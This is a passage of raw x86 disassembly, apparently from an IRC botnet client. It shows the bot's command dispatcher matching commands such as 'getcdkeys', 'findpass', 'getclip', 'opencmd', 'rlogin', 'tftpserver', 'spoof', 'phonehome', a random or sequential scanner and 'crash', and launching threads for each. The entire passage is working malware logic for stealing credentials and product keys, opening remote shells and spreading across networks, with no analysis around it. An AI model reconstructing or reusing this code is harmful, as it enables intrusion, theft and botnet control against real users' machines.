		test	eax, eax
		pop	ecx
		jz	loc_4043C2
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439F
		push	edi
		push	offset aAl	; "al"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439F
		push	edi
		push	offset aLog	; "log"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AC
		push	edi
		push	offset aLg	; "lg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AC
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404293
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404293
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404259
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404259
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422E
		push	edi
		push	offset aSi	; "si"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422E
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F4
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F4
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D1
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D1
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B3
		push	edi
		push	offset aKey	; "key"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B3
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402B
		push	edi
		push	offset aUp	; "up"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402B
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400E
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400E
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF5
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF5
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB6
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB6
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40340B
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C8BC
		push	offset dword_42C8B0
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_40340B:				; CODE XREF: sub_401ACD+1924j
		push	edi
		push	offset dword_42C8AC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403528
		cmp	[ebp+var_8], ebx
		jnz	short loc_40343F
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C898
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_40343F:				; CODE XREF: sub_401ACD+1956j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_20], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_40344D
; ---------------------------------------------------------------------------


loc_40344A:				; CODE XREF: sub_401ACD+19CCj
		mov	eax, [ebp+arg_18]


loc_40344D:				; CODE XREF: sub_401ACD+197Bj
		cmp	[eax], bl
		jz	short loc_403454
		inc	eax
		jmp	short loc_403459
; ---------------------------------------------------------------------------


loc_403454:				; CODE XREF: sub_401ACD+1982j
		mov	eax, offset aEmpty ; "<Empty>"


loc_403459:				; CODE XREF: sub_401ACD+1985j
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_20]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 3
		jl	short loc_40344A
		push	offset unk_42C864
		call	sub_4151AD
		pop	ecx


loc_4034A6:				; CODE XREF: sub_401ACD+1C5Bj
					; sub_401ACD+2F44j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401E94
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AF5
		mov	esi, [ebp+arg_10]
		push	offset aOff	; "off"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A23
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C830
		push	eax
		mov	dword_4CEE08, ebx
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4034FE:				; CODE XREF: sub_401ACD+3023j
		cmp	[ebp+var_8], ebx
		jnz	loc_409855
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73


loc_403520:				; CODE XREF: sub_401ACD+7119j
		add	esp, 14h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_403528:				; CODE XREF: sub_401ACD+194Dj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F75
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F75
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5E
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5E
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F26
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F26
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEC
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEC
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB1
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB1
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C25
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C25
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEB
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEB
		push	edi
		push	offset aCrash	; "crash"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036B4
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C788
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403693
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_403693:				; CODE XREF: sub_401ACD+1BA8j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		mov	[esp+10h+var_10], offset aCrash	; "crash"
		push	[ebp+esi+var_7C]
		call	sub_41C070
		jmp	loc_40207C
; ---------------------------------------------------------------------------


loc_4036B4:				; CODE XREF: sub_401ACD+1B90j
		push	edi
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E7
		push	edi
		push	offset aSa	; "sa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E7
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403708
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		jmp	loc_401F52
; ---------------------------------------------------------------------------


loc_403708:				; CODE XREF: sub_401ACD+1C20j
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40372E
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034A6


loc_40372E:				; CODE XREF: sub_401ACD+1C4Aj
		push	[ebp+var_88]
		lea	eax, [ebp+var_F54]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_F58], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_ECC], eax
		push	offset unk_42C71C
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F58]
		push	ebx
		push	eax
		push	offset sub_416F1B
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4037D6


loc_4037C0:				; CODE XREF: sub_401ACD+1D07j
		cmp	[ebp+var_EC8], ebx
		jnz	loc_4083BD
		push	32h
		call	near ptr 2690F24h
		nop
		jmp	short loc_4037C0
; ---------------------------------------------------------------------------


loc_4037D6:				; CODE XREF: sub_401ACD+1CF1j
		call	near ptr 26A08EAh
		nop
		push	eax
		push	offset unk_42C6E0
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_4037E7:				; CODE XREF: sub_401ACD+1BF6j
					; sub_401ACD+1C0Bj
		mov	al, byte_431CE2
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_431CE2
		jz	loc_401E94
		mov	ecx, edx


loc_4037FE:				; CODE XREF: sub_401ACD+1D39j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037FE
		cmp	al, bl
		jz	loc_401E94
		mov	[ebp+arg_18], edx
		mov	esi, offset aF	; "#f"


loc_403818:				; CODE XREF: sub_401ACD+2009j
		push	0Bh
		call	sub_40B33F
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403867
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C6A0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h
		jmp	loc_403ACD
; ---------------------------------------------------------------------------


loc_403867:				; CODE XREF: sub_401ACD+1D65j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_431B00, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_4038D8
		mov	edi, offset dword_431B00


loc_40389C:				; CODE XREF: sub_401ACD+1DEDj
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4038BE
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40389C
		jmp	short loc_4038D8
; ---------------------------------------------------------------------------


loc_4038BE:				; CODE XREF: sub_401ACD+1DE3j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_431B00[ecx]
		mov	[ebp+var_74C], ecx


loc_4038D8:				; CODE XREF: sub_401ACD+1DC8j
					; sub_401ACD+1DEFj
		cmp	[ebp+var_74C], ebx
		jz	loc_403AE1
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], edi
		push	[ebp+arg_4]
		call	dword_4CB5F8
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41B5F0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BE40
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_403980


loc_40395E:				; CODE XREF: sub_401ACD+1EB1j
		cmp	eax, ebx
		jz	short loc_403980
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40395E


loc_403980:				; CODE XREF: sub_401ACD+1E8Fj
					; sub_401ACD+1E93j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_750], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_724], eax
		mov	edi, 80h
		lea	eax, [ebp+var_850]
		push	edi
		push	eax
		mov	[ebp+var_720], 1
		call	sub_41B980
		push	offset dword_43D808
		push	esi
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_4039E2
		push	esi
		lea	eax, [ebp+var_7D0]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4039E8
; ---------------------------------------------------------------------------


loc_4039E2:				; CODE XREF: sub_401ACD+1F00j
		mov	[ebp+var_7D0], bl


loc_4039E8:				; CODE XREF: sub_401ACD+1F13j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039FA
		mov	eax, offset aSequential	; "Sequential"


loc_4039FA:				; CODE XREF: sub_401ACD+1F26j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C620
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F7
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C33D
		push	ebx
		push	ebx
		call	near ptr 26A0000h
		nop
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_403A84


loc_403A72:				; CODE XREF: sub_401ACD+1FB5j
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A9F
		push	32h
		nop
		call	near ptr 2690F24h
		jmp	short loc_403A72
; ---------------------------------------------------------------------------


loc_403A84:				; CODE XREF: sub_401ACD+1FA3j
		nop
		call	near ptr 26A08EAh
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C5E4
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403A9F:				; CODE XREF: sub_401ACD+1FABj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403AC0
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_403AC0:				; CODE XREF: sub_401ACD+1FD5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_403ACD:				; CODE XREF: sub_401ACD+1D95j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_403818
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_403AE1:				; CODE XREF: sub_401ACD+1E11j
		push	offset unk_42C5AC
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_403AEB:				; CODE XREF: sub_401ACD+1B66j
					; sub_401ACD+1B7Bj
		push	5
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_403B01
		push	offset unk_42C58C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_403B01:				; CODE XREF: sub_401ACD+2028j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403B24
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_403B38
; ---------------------------------------------------------------------------


loc_403B24:				; CODE XREF: sub_401ACD+203Dj
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		push	ebx
		call	near ptr 2690000h
		nop


loc_403B38:				; CODE XREF: sub_401ACD+2055j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403B48
		mov	esi, offset byte_42910C


loc_403B48:				; CODE XREF: sub_401ACD+2074j
		push	esi
		lea	eax, [ebp+var_2C4C]
		push	edi
		push	eax
		call	sub_41B980
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B40],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B44],	ebx
		mov	[ebp+var_2D54],	eax
		lea	eax, [ebp+var_2B3C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2ABC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2AB8],	eax
		lea	eax, [ebp+var_2D50]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B40]
		push	offset unk_42C558
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_2B48],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D54]
		push	ebx
		push	eax
		push	offset byte_411797
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_2B48]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_403C14


loc_403BFE:				; CODE XREF: sub_401ACD+2145j
		cmp	[ebp+var_2AB4],	ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2690F24h
		jmp	short loc_403BFE
; ---------------------------------------------------------------------------


loc_403C14:				; CODE XREF: sub_401ACD+212Fj
		nop
		call	near ptr 26A08EAh
		push	eax
		push	offset unk_42C51C
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_403C25:				; CODE XREF: sub_401ACD+1B3Cj
					; sub_401ACD+1B51j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403C44
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403C44
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403C49
; ---------------------------------------------------------------------------


loc_403C44:				; CODE XREF: sub_401ACD+2161j
					; sub_401ACD+216Cj
		mov	eax, dword_42907C


loc_403C49:				; CODE XREF: sub_401ACD+2175j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36C8],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B4],	eax
		jz	short loc_403C7C
		lea	eax, [ebp+var_37CC]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_403CA7
; ---------------------------------------------------------------------------


loc_403C7C:				; CODE XREF: sub_401ACD+219Cj
		lea	eax, [ebp+var_4FF4]
		push	104h
		push	eax
		nop
		call	near ptr 2690AE2h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4FF4]
		push	eax
		call	sub_41B9D1
		add	esp, 14h


loc_403CA7:				; CODE XREF: sub_401ACD+21ADj
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+eax+var_37CD], 5Ch
		pop	ecx
		jnz	short loc_403CD2
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+eax+var_37CD], bl


loc_403CD2:				; CODE XREF: sub_401ACD+21EFj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A54]
		mov	[ebp+var_3A58],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36B8],	eax
		lea	eax, [ebp+var_37CC]
		mov	[ebp+var_36BC],	edi
		push	eax
		push	[ebp+var_36C8]
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C4E0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_36C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A58]
		push	ebx
		push	eax
		push	offset sub_40F0D6
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_36C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_403D86


loc_403D74:				; CODE XREF: sub_401ACD+22B7j
		cmp	[ebp+var_36AC],	ebx
		jnz	short loc_403DA1
		push	32h
		nop
		call	near ptr 2690F24h
		jmp	short loc_403D74
; ---------------------------------------------------------------------------


loc_403D86:				; CODE XREF: sub_401ACD+22A5j
		call	near ptr 26A08EAh
		nop
		push	eax
		push	offset unk_42C4A4


loc_403D92:				; CODE XREF: sub_401ACD+241Aj
					; sub_401ACD+4D05j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403DA1:				; CODE XREF: sub_401ACD+22ADj
					; sub_401ACD+23FEj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BD
		push	ebx
		push	edi
		jmp	loc_407286
; ---------------------------------------------------------------------------


loc_403DB1:				; CODE XREF: sub_401ACD+1B12j
					; sub_401ACD+1B27j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403DD0
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403DD0
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403DD5
; ---------------------------------------------------------------------------


loc_403DD0:				; CODE XREF: sub_401ACD+22EDj
					; sub_401ACD+22F8j
		mov	eax, dword_429080


loc_403DD5:				; CODE XREF: sub_401ACD+2301j
		mov	[ebp+var_1824],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403DEC
		lea	eax, [ebp+var_C4]


loc_403DEC:				; CODE XREF: sub_401ACD+2317j
		push	eax
		lea	eax, [ebp+var_1964]
		push	40h
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403E0E
		mov	esi, offset dword_43D808


loc_403E0E:				; CODE XREF: sub_401ACD+233Aj
		push	esi
		lea	eax, [ebp+var_1924]
		push	100h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_19E4]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1810],	eax
		lea	eax, [ebp+var_1964]
		push	eax
		mov	[ebp+var_19E8],	esi
		push	[ebp+var_1824]
		mov	[ebp+var_1814],	edi
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C468
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_1820],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19E8]
		push	ebx
		push	eax
		push	offset word_410A4E
		push	ebx
		push	ebx
		call	near ptr 26A0000h
		nop
		mov	ecx, [ebp+var_1820]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_403EDB


loc_403EC5:				; CODE XREF: sub_401ACD+240Cj
		cmp	[ebp+var_180C],	ebx
		jnz	loc_403DA1
		push	32h
		call	near ptr 2690F24h
		nop
		jmp	short loc_403EC5
; ---------------------------------------------------------------------------


loc_403EDB:				; CODE XREF: sub_401ACD+23F6j
		nop
		call	near ptr 26A08EAh
		push	eax
		push	offset unk_42C42C
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_403EEC:				; CODE XREF: sub_401ACD+1AE8j
					; sub_401ACD+1AFDj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EFF
		push	esi
		call	sub_41B779
		jmp	short loc_403F06
; ---------------------------------------------------------------------------


loc_403EFF:				; CODE XREF: sub_401ACD+2428j
		push	0Bh
		call	sub_40B35E


loc_403F06:				; CODE XREF: sub_401ACD+2430j
		cmp	eax, ebx
		pop	ecx
		jz	loc_409855
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA57
		jmp	loc_4043BA
; ---------------------------------------------------------------------------


loc_403F26:				; CODE XREF: sub_401ACD+1ABEj
					; sub_401ACD+1AD3j
		mov	eax, dword_4CB570
		cmp	eax, ebx
		jz	short loc_403F43
		call	eax
		test	eax, eax
		jz	short loc_403F3C
		push	offset unk_42C408
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F3C:				; CODE XREF: sub_401ACD+2466j
		push	offset unk_42C3DC
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F43:				; CODE XREF: sub_401ACD+2460j
		push	offset unk_42C3B0


loc_403F48:				; CODE XREF: sub_401ACD+246Dj
					; sub_401ACD+2474j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_406CDC
; ---------------------------------------------------------------------------


loc_403F5E:				; CODE XREF: sub_401ACD+1A94j
					; sub_401ACD+1AA9j
		call	sub_40AB32
		test	eax, eax
		jz	short loc_403F6E
		push	offset unk_42C38C
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F6E:				; CODE XREF: sub_401ACD+2498j
		push	offset unk_42C360
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F75:				; CODE XREF: sub_401ACD+1A6Aj
					; sub_401ACD+1A7Fj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F94
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C348
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_403F94:				; CODE XREF: sub_401ACD+24ABj
		push	ebx
		push	[ebp+var_4]
		call	sub_4181D7
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	offset dword_42C32C
		jmp	loc_404286
; ---------------------------------------------------------------------------


loc_403FB6:				; CODE XREF: sub_401ACD+18FAj
					; sub_401ACD+190Fj
